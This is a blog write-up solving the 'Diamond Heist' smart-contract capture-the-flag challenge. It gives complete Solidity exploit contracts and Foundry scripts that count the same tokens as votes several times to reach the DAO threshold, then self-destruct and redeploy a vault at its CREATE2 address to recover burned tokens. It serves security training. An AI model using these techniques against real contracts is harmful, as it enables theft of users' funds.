Diamond Heist

Original Problem https://ctf.r.xyz/challenges?challenge=4
Challenge Description
Author: 0xkasper
Agent, we are in desperate need of your help. The King's diamonds have been stolen by a DAO and are locked in a vault. They are currently voting on a proposal to burn the diamonds forever!
Your mission, should you choose to accept it, is to recover all diamonds and keep them safe until further instructions.
Good luck.
This message will self-destruct in 3.. 2.. 1..
Note = Keep in mind, below that
player
refers to us. (we’re on a mission recover the diamonds)
Thinking process
As evident from the challenge description above, the diamond tokens are owned by the Vault.sol
contract. Investigating the functions in the Vault a little more, we can see that it allows anyone with a authority threshold number of votes (i.e 100_000 Hex Votes) to instruct the contract to externally call the 2 functions - burn
and _authorizeUpgrade
on itself with the help of governanceCall
.
How might this be useful?
Well, the burn
function doesn’t appear helpful given that that’s what the bad guy is doing. We want to be able to get the contract to execute a transfer of the diamonds to the player.
Like this IERC20(diamondToken).transfer(player, amount)
!
The next function is _authorizeUpgrade
. Maybe this can help in a way where you can maliciously get the contract to upgrade itself and that way we can have our desired transfer.
But wait! You quickly get hit with the require(IERC20(diamond).balanceOf(address(this)) == 0)
post condition when authorizing upgrade. So this means, we need to have taken back the diamonds from the vault before we can upgrade. That kind of defeats the purpose.
Hmmm….
Now we have established that _authorizeUpgrade
100% not something we can use initially at least. So let’s go back to thinking about burn
.
We can see that once the vault burns the diamond tokens it calls for selfdestruct
. However the fact remains that according to the diamond contract, the Burner
contract still holds these tokens. (although EVM may not keep any code running for that address)
This means that if we can figure out a way to re-deploy a contract in the place of Burner
that transfers the diamond balance back to the player, we have essentially solved the problem. Fortunately we can do that because Vault itself is deployed by CREATE2 as evident from the salt used in VaultFactory.sol
. So we just have to upgrade the vault, make it selfdestroy
. Then we can redeploy a new vault with the same salt. Later get the new vault to use CREATE to deploy a replacement contract for Burner that is going to have the same address as Burner, except, this time, the code is in our control. That would allow us to transfer the diamonds back to the player. This happens because the nonce (no. of previously deployed contracts by the deployer i.e the Vault is 0) is 0 for a freshly deployed contract.
Solution
Following are some utility contracts to help in our heist.
contract Accomplice {
address s_player;
HexensCoin s_hexensCoin;
constructor(address player, HexensCoin hexensCoin) {
require(player != address(0));
require(address(hexensCoin) != address(0));
s_player = player;
s_hexensCoin = hexensCoin;
}
function getItBack() public {
assert(10_000 ether == s_hexensCoin.balanceOf(address(this)));
s_hexensCoin.delegate(s_player);
s_hexensCoin.transfer(s_player, 10_000 ether);
assert(0 == s_hexensCoin.balanceOf(address(this)));
}
}
contract Hack {
Challenge s_challenge;
HexensCoin s_hexensCoin;
Diamond s_diamond;
Vault s_vault;
address s_player;
constructor(address player, Challenge challenge) {
s_player = player;
s_challenge = challenge;
s_hexensCoin = challenge.hexensCoin();
s_vault = challenge.vault();
s_diamond = challenge.diamond();
}
function gainAuthorityVotes() external {
require(msg.sender == s_player);
for (uint256 i = 0; i < 10; ++i) {
assert(10_000 ether == s_hexensCoin.balanceOf(msg.sender));
Accomplice ax = new Accomplice(s_player, s_hexensCoin);
s_hexensCoin.transferFrom(msg.sender, address(ax), 10_000 ether);
ax.getItBack();
assert(10_000 ether == s_hexensCoin.balanceOf(msg.sender));
}
assert(s_hexensCoin.getCurrentVotes(msg.sender) == 100_000 ether);
}
}
contract DangerousContract is OwnableUpgradeable, UUPSUpgradeable {
address _diamond;
address _hexensCoin;
uint256 tugs;
function _authorizeUpgrade(address newImplementation) internal override {}
function tug() public returns (uint256) {
console2.log("Tugging", address(this));
return ++tugs;
}
function killSelf() public {
console2.log("Killing", address(this));
selfdestruct(payable(address(this)));
}
}
contract ReplacementContract {
function giveBackDiamonds(address to, address diamond) public {
Diamond(diamond).transfer(
to,
Diamond(diamond).balanceOf(address(this))
);
}
}
contract MaliciousUpgrade is OwnableUpgradeable, UUPSUpgradeable {
address _diamond;
address _hexensCoin;
uint256 tugs;
ReplacementContract c;
function _authorizeUpgrade(address newImplementation) internal override {}
function deployReplacement() public returns (ReplacementContract) {
c = new ReplacementContract();
return c;
}
function getBack(address to, address diamond) public {
c.giveBackDiamonds(to, diamond);
}
}
The following is the 3 part solution. each script i.e SolveP1
, SolveP2
and SolveP3
should be executed one after the other.
contract BaseScript is Script {
function persistAddress(string memory key, address value) public {
vm.writeFileBinary(key, abi.encode(value));
}
function recoverAddress(string memory key) public view returns (address) {
bytes memory data = vm.readFileBinary(key);
return abi.decode(data, (address));
}
}
contract RealworldScript is BaseScript {
Challenge challenge;
Hack hack;
address player;
uint256 public constant PLAYER_PK =
0x65889583c1b09a9aa87786ba50c019ad755e024d7a438c9e7c5e9d26de3b9316; // Given
address public constant CHALLENGE_CONTRACT =
0xb859f3FbA3D367d29D5C577e0840149b6410D4bb; // Given
function setUp() public virtual {
player = vm.addr(PLAYER_PK);
challenge = Challenge(CHALLENGE_CONTRACT);
vm.broadcast(PLAYER_PK);
hack = new Hack(player, challenge);
}
}
contract SolveP1 is RealworldScript {
HexensCoin hexensCoin;
Vault vault;
VaultFactory vaultFactory;
Diamond diamond;
function setUp() public override {
super.setUp();
vault = challenge.vault();
hexensCoin = challenge.hexensCoin();
diamond = challenge.diamond();
vaultFactory = challenge.vaultFactory();
persistAddress("vault", address(vault));
persistAddress("diamond", address(diamond));
persistAddress("vaultFactory", address(vaultFactory));
persistAddress("hexensCoin", address(hexensCoin));
}
function run() external {
vm.startBroadcast(PLAYER_PK);
// You get 10_000 hex
challenge.claim();
// Player gains authority votes for DAO
hexensCoin.approve(address(hack), type(uint256).max);
hack.gainAuthorityVotes();
// Player burns all the diamonds
vault.governanceCall(
abi.encodeWithSignature(
"burn(address,uint256)",
address(diamond),
31337
)
);
// Sanity Assertions
assert(diamond.balanceOf(address(vault)) == 0);
assert(diamond.balanceOf(address(player)) == 0);
// We got the authority !!!
assert(hexensCoin.getCurrentVotes(player) == 100_000 ether);
// Upgrade to vault dangerous contract. This time it will work because
// the vault doesnt own any diamonds at this point.
DangerousContract dangerousImpl = new DangerousContract();
vault.governanceCall(
abi.encodeWithSignature(
"upgradeTo(address)",
address(dangerousImpl)
)
);
// Kill self
DangerousContract(address(vault)).killSelf();
vm.stopBroadcast();
}
}
contract SolveP2 is RealworldScript {
Vault vault;
VaultFactory vaultFactory;
Vault newVault;
HexensCoin hexensCoin;
function setUp() public override {
player = vm.addr(PLAYER_PK);
vault = Vault(recoverAddress("vault"));
vaultFactory = VaultFactory(recoverAddress("vaultFactory"));
hexensCoin = HexensCoin(recoverAddress("hexensCoin"));
assert(hexensCoin.getCurrentVotes(player) == 100_000 ether);
vm.startBroadcast(PLAYER_PK);
// Same contract found in Challenge so we can match deployment address
newVault = vaultFactory.createVault(
keccak256(
"The tea in Nepal is very hot. But the coffee in Peru is much hotter."
)
);
vm.stopBroadcast();
persistAddress("newVault", address(newVault));
}
function run() external {}
}
contract SolveP3 is RealworldScript {
Vault vault;
VaultFactory vaultFactory;
HexensCoin hexensCoin;
Diamond diamond;
function setUp() public override {
player = vm.addr(PLAYER_PK);
vault = Vault(recoverAddress("newVault"));
vaultFactory = VaultFactory(recoverAddress("vaultFactory"));
hexensCoin = HexensCoin(recoverAddress("hexensCoin"));
diamond = Diamond(recoverAddress("diamond"));
// Sanity Assertions
assert(diamond.balanceOf(address(vault)) == 0);
assert(diamond.balanceOf(address(player)) == 0);
assert(hexensCoin.getCurrentVotes(player) == 100_000 ether);
vm.startBroadcast(PLAYER_PK);
// Upgrade to dangerous contract
vault.initialize(address(diamond), address(hexensCoin));
MaliciousUpgrade dangerousImpl = new MaliciousUpgrade();
vault.governanceCall(
abi.encodeWithSignature(
"upgradeTo(address)",
address(dangerousImpl)
)
);
ReplacementContract repl = MaliciousUpgrade(address(vault))
.deployReplacement();
assert(diamond.balanceOf(address(repl)) > 0);
repl.giveBackDiamonds(player, address(diamond));
vm.stopBroadcast();
}
function run() external {}
}
Conclusion
I hope you have enjoyed reading this. Leave a comment or ask a question. I’m happy to help : )
Subscribe to my newsletter
Read articles from Tilak Madichetti directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Tilak Madichetti
Tilak Madichetti
I have a lot of empathy for developers which is the driving force for my open-source contributions. Web3 stands for individual liberty and accountability which aligns with my values and principles. One of the best things to do in the current era is to secure smart contract protocols so that people feel safe investing. And that's what I have decided to do. Aside from that, I work a full-time job as a research professional in Semantics and Data Engineering.